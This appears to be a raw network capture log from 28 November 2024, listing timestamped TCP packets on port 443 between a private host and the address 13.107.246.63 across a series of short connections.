Nov 28, 2024 10:05:40.565573931 CET	49861	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.565598965 CET	443	49861	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.565654993 CET	49861	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.568937063 CET	49861	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.568953037 CET	443	49861	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.587029934 CET	443	49857	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.590565920 CET	443	49857	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.590616941 CET	49857	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.610039949 CET	49857	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.610061884 CET	443	49857	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.610083103 CET	49857	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.610089064 CET	443	49857	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.635452986 CET	49862	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.635490894 CET	443	49862	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.635557890 CET	49862	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.639643908 CET	49862	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.639662027 CET	443	49862	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.807708025 CET	443	49858	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.810842037 CET	443	49858	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.810914993 CET	49858	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.810939074 CET	49858	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.810950041 CET	443	49858	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.810956955 CET	49858	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.810961962 CET	443	49858	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.813457966 CET	49863	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.813488007 CET	443	49863	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.813550949 CET	49863	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.813762903 CET	49863	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.813776970 CET	443	49863	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:41.289608002 CET	443	49859	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:41.295135975 CET	49859	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:41.295170069 CET	443	49859	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:41.295582056 CET	49859	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:41.295587063 CET	443	49859	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:41.733814955 CET	443	49859	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:41.735330105 CET	443	49859	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:41.735397100 CET	49859	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:41.735459089 CET	49859	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:41.735483885 CET	443	49859	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:41.735496044 CET	49859	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:41.735501051 CET	443	49859	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:41.738899946 CET	49864	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:41.738926888 CET	443	49864	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:41.739017963 CET	49864	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:41.739419937 CET	49864	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:41.739433050 CET	443	49864	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.350754976 CET	443	49861	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.352958918 CET	49861	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:42.352977037 CET	443	49861	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.353419065 CET	49861	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:42.353425980 CET	443	49861	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.487612009 CET	443	49862	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.495254040 CET	49862	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:42.495273113 CET	443	49862	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.495701075 CET	49862	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:42.495704889 CET	443	49862	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.643266916 CET	443	49860	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.655109882 CET	49860	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:42.655122995 CET	443	49860	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.655555964 CET	49860	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:42.655561924 CET	443	49860	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.661849976 CET	443	49863	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.662266016 CET	49863	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:42.662287951 CET	443	49863	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.662584066 CET	49863	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:42.662589073 CET	443	49863	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.795106888 CET	443	49861	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.798486948 CET	443	49861	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.798543930 CET	443	49861	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.798542976 CET	49861	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:42.798583984 CET	49861	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:42.815522909 CET	49861	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:42.815522909 CET	49861	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:42.815545082 CET	443	49861	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.815556049 CET	443	49861	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.818608046 CET	49865	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:42.818659067 CET	443	49865	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.818749905 CET	49865	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:42.819431067 CET	49865	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:42.819444895 CET	443	49865	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.941119909 CET	443	49862	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.941371918 CET	443	49862	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.941423893 CET	49862	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:42.981713057 CET	49862	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:42.981725931 CET	443	49862	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:42.981744051 CET	49862	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:42.981749058 CET	443	49862	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.077327967 CET	49866	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.077361107 CET	443	49866	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.077419043 CET	49866	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.078063965 CET	443	49860	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.081176043 CET	443	49860	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.081224918 CET	49860	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.082364082 CET	49866	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.082380056 CET	443	49866	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.082531929 CET	49860	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.082536936 CET	443	49860	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.082557917 CET	49860	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.082561016 CET	443	49860	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.088597059 CET	49867	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.088635921 CET	443	49867	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.088692904 CET	49867	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.089081049 CET	49867	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.089093924 CET	443	49867	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.105442047 CET	443	49863	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.105572939 CET	443	49863	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.105621099 CET	49863	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.105869055 CET	49863	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.105881929 CET	443	49863	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.105894089 CET	49863	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.105901003 CET	443	49863	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.108788967 CET	49868	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.108819962 CET	443	49868	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.108891010 CET	49868	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.109039068 CET	49868	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.109050989 CET	443	49868	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.519058943 CET	443	49864	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.519546032 CET	49864	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.519568920 CET	443	49864	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.520054102 CET	49864	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.520059109 CET	443	49864	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.963337898 CET	443	49864	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.966398954 CET	443	49864	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.966581106 CET	49864	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.966634035 CET	49864	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.966648102 CET	443	49864	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.966658115 CET	49864	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.966662884 CET	443	49864	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.969969988 CET	49869	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.970026970 CET	443	49869	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:43.970197916 CET	49869	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.970377922 CET	49869	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:43.970391035 CET	443	49869	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:44.601315975 CET	443	49865	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:44.603948116 CET	49865	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:44.603965998 CET	443	49865	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:44.604414940 CET	49865	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:44.604419947 CET	443	49865	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:44.796504974 CET	443	49866	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:44.804855108 CET	49866	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:44.804877996 CET	443	49866	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:44.805339098 CET	49866	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:44.805344105 CET	443	49866	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:44.869045019 CET	443	49867	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:44.889275074 CET	49867	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:44.889286995 CET	443	49867	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:44.889892101 CET	49867	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:44.889897108 CET	443	49867	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:44.897285938 CET	443	49868	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:44.898287058 CET	49868	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:44.898307085 CET	443	49868	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:44.899008036 CET	49868	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:44.899013042 CET	443	49868	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.044882059 CET	443	49865	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.044909000 CET	443	49865	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.044997931 CET	49865	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.045008898 CET	443	49865	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.045259953 CET	49865	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.045259953 CET	49865	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.045269012 CET	443	49865	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.045448065 CET	443	49865	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.045481920 CET	443	49865	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.047854900 CET	49870	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.047864914 CET	443	49870	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.047889948 CET	49865	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.047926903 CET	49870	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.048068047 CET	49870	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.048079967 CET	443	49870	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.232367992 CET	443	49866	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.232482910 CET	443	49866	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.232516050 CET	443	49866	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.232552052 CET	49866	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.232568979 CET	49866	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.232749939 CET	49866	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.232759953 CET	443	49866	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.232770920 CET	49866	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.232774973 CET	443	49866	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.235420942 CET	49871	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.235461950 CET	443	49871	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.235533953 CET	49871	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.235663891 CET	49871	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.235677004 CET	443	49871	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.312910080 CET	443	49867	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.312967062 CET	443	49867	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.313025951 CET	443	49867	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.313057899 CET	49867	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.313111067 CET	49867	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.313263893 CET	49867	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.313263893 CET	49867	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.313287020 CET	443	49867	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.313297033 CET	443	49867	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.315953970 CET	49872	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.315984964 CET	443	49872	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.316128016 CET	49872	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.316226006 CET	49872	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.316239119 CET	443	49872	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.345345974 CET	443	49868	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.348470926 CET	443	49868	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.348545074 CET	49868	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.348746061 CET	49868	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.348761082 CET	443	49868	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.348772049 CET	49868	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.348777056 CET	443	49868	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.351197958 CET	49873	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.351217985 CET	443	49873	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.351317883 CET	49873	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.351421118 CET	49873	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.351433039 CET	443	49873	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.596076012 CET	443	49869	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.596626043 CET	49869	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.596659899 CET	443	49869	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:45.596961975 CET	49869	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:45.596966982 CET	443	49869	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:46.033268929 CET	443	49869	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:46.036637068 CET	443	49869	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:46.036676884 CET	443	49869	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:46.036689043 CET	49869	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:46.036726952 CET	49869	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:46.036760092 CET	49869	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:46.036778927 CET	443	49869	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:46.036787987 CET	49869	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:46.036793947 CET	443	49869	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:46.040086031 CET	49874	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:46.040122986 CET	443	49874	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:46.040194988 CET	49874	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:46.040416002 CET	49874	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:46.040430069 CET	443	49874	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:46.897141933 CET	443	49870	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:46.897609949 CET	49870	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:46.897619009 CET	443	49870	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:46.898058891 CET	49870	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:46.898062944 CET	443	49870	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:46.953242064 CET	443	49871	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:46.956105947 CET	49871	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:46.956149101 CET	443	49871	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:46.956864119 CET	49871	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:46.956871033 CET	443	49871	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.100121975 CET	443	49872	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.100689888 CET	49872	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.100703955 CET	443	49872	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.101023912 CET	49872	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.101032019 CET	443	49872	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.131810904 CET	443	49873	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.132200956 CET	49873	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.132222891 CET	443	49873	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.132596016 CET	49873	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.132600069 CET	443	49873	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.340286016 CET	443	49870	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.344063997 CET	443	49870	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.344225883 CET	49870	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.344225883 CET	49870	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.344225883 CET	49870	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.346894026 CET	49875	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.346921921 CET	443	49875	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.346996069 CET	49875	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.347148895 CET	49875	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.347162962 CET	443	49875	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.551126003 CET	443	49872	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.554013968 CET	443	49872	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.554071903 CET	443	49872	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.554166079 CET	49872	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.554166079 CET	49872	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.554166079 CET	49872	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.554166079 CET	49872	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.554203987 CET	443	49872	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.557012081 CET	49876	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.557054043 CET	443	49876	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.557130098 CET	49876	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.557255030 CET	49876	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.557267904 CET	443	49876	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.575509071 CET	443	49873	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.579154015 CET	443	49873	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.579190969 CET	443	49873	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.579200029 CET	49873	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.579233885 CET	49873	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.579299927 CET	49873	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.579308033 CET	443	49873	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.579322100 CET	49873	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.579324961 CET	443	49873	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.581480026 CET	49877	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.581501007 CET	443	49877	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.581563950 CET	49877	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.581684113 CET	49877	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.581696033 CET	443	49877	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.648665905 CET	49870	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.648674011 CET	443	49870	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.823363066 CET	443	49874	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.839848042 CET	49874	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.839874029 CET	443	49874	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.840370893 CET	49874	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.840377092 CET	443	49874	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:47.867330074 CET	49872	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:47.867351055 CET	443	49872	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:48.269361019 CET	443	49874	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:48.272568941 CET	443	49874	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:48.272638083 CET	49874	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:48.368812084 CET	443	49871	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:48.368840933 CET	443	49871	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:48.368902922 CET	49871	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:48.368932009 CET	443	49871	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:48.372011900 CET	443	49871	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:48.372061968 CET	49871	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:48.382666111 CET	49874	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:48.382685900 CET	443	49874	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:48.382704973 CET	49874	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:48.382709980 CET	443	49874	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:48.481694937 CET	49871	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:48.481731892 CET	443	49871	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:48.481744051 CET	49871	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:48.481750011 CET	443	49871	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:48.567320108 CET	49878	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:48.567354918 CET	443	49878	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:48.567416906 CET	49878	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:48.598825932 CET	49879	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:48.598860025 CET	443	49879	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:48.598916054 CET	49879	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:48.598993063 CET	49878	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:48.599014997 CET	443	49878	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:48.606827021 CET	49879	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:48.606841087 CET	443	49879	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.132193089 CET	443	49875	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.132606983 CET	49875	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.132623911 CET	443	49875	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.133141041 CET	49875	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.133146048 CET	443	49875	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.339951038 CET	443	49876	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.340409994 CET	49876	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.340432882 CET	443	49876	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.340903044 CET	49876	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.340908051 CET	443	49876	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.363562107 CET	443	49877	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.364063978 CET	49877	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.364074945 CET	443	49877	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.364664078 CET	49877	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.364669085 CET	443	49877	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.576224089 CET	443	49875	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.579761028 CET	443	49875	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.582701921 CET	49875	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.582772970 CET	49875	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.582784891 CET	443	49875	13.107.246.63	192.168.2.7
